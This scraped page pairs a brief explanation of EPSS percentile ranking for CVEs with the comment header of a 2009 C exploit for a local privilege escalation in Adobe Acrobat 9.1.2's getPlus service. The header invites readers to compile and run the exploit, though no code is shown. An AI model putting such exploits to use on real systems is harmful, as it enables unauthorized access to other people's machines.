The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* alwaysdirtyneverclean.c AKA Adobe Acrobat 9.1.2 NOS Local Privilege Escalation Exploit (alwaysdirtyneverclean.zip) BY Jeremy Brown 2009 [0xjbrown41@gmail.com] 07.21.2009 *********************************************************************************************************** I've been up for nearly 24 hours (only the last few doing research though). This exploit is based on the brief information provided by Nine:Situations:Group (http://www.milw0rm.com/exploits/9199). Exploiting improper permissions is fun. A few notes are in order though. The getPlus service (that I tested, via 9.1.2) isn't installed as an "Automatic" service, therefore making it slightly harder (but not hard) to practically use to your advantage. But I tested running this code under a GUEST account and it worked pretty good (just the first time though). Change the values as needed, compile and run. Things could be more or less silent, lethal or non-lethal... it is completely up to you. Things cannot get much simpler than this :) Tested on Windows XP SP3 + Adobe Acrobat 9.1.2 (installed from adobe's download manager, then updated) But maybe give Adobe a break? 2009 has been a rough year for them already, heh.
